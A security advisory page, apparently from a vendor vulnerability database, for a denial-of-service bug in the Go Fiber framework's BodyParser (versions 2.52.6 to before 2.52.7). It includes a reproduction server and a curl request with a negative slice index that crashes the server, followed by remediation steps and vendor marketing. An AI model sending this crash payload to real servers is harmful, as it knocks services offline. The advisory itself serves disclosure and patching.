GHSA-hg3g-gphw-5hhm
Fiber panics when fiber.Ctx.BodyParser parses invalid range index
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/gofiber/fiber/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When using the fiber.Ctx.BodyParser to parse into a struct with range values, a panic occurs when trying to parse a negative range index
Details
fiber.Ctx.BodyParser can map flat data to nested slices using key[idx]value syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data.
Since this data is user-provided, this could lead to denial of service for anyone relying on this fiber.Ctx.BodyParser functionality
Reproducing
Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData
package main
import (
"encoding/json"
"fmt"
"net/http"
"github.com/gofiber/fiber/v2"
)
type RequestBody struct {
NestedContent []*struct {
Value string `form:"value"`
} `form:"nested-content"`
}
func main() {
app := fiber.New()
app.Post("/", func(c *fiber.Ctx) error {
formData := RequestBody{}
if err := c.BodyParser(&formData); err != nil {
fmt.Println(err)
return c.SendStatus(http.StatusUnprocessableEntity)
}
c.Set("Content-Type", "application/json")
s, _ := json.Marshal(formData)
return c.SendString(string(s))
})
fmt.Println(app.Listen(":3000"))
}
Correct Behaviour Send a valid request such as:
curl --location 'localhost:3000' \
--form 'nested-content[0].value="Foo"' \
--form 'nested-content[1].value="Bar"'
You recieve valid JSON
{"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]}
Crashing behaviour Send an invalid request such as:
curl --location 'localhost:3000' \
--form 'nested-content[-1].value="Foo"'
The server panics and crashes
panic: reflect: slice index out of range
goroutine 8 [running]:
reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?)
/usr/lib/go-1.24/src/reflect/value.go:1418 +0x167
github.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...})
[...]
Impact
Anyone using fiber.Ctx.BodyParser can/will have their servers crashed when an invalid payload is sent
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gofiber/fiber/v2 | ≥ 2.52.6&&< 2.52.7 | 2.52.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gofiber/fiber/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/gofiber/fiber/v2 to 2.52.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hg3g-gphw-5hhm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hg3g-gphw-5hhm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hg3g-gphw-5hhm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hg3g-gphw-5hhm in your dependencies?
O3 detects GHSA-hg3g-gphw-5hhm across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.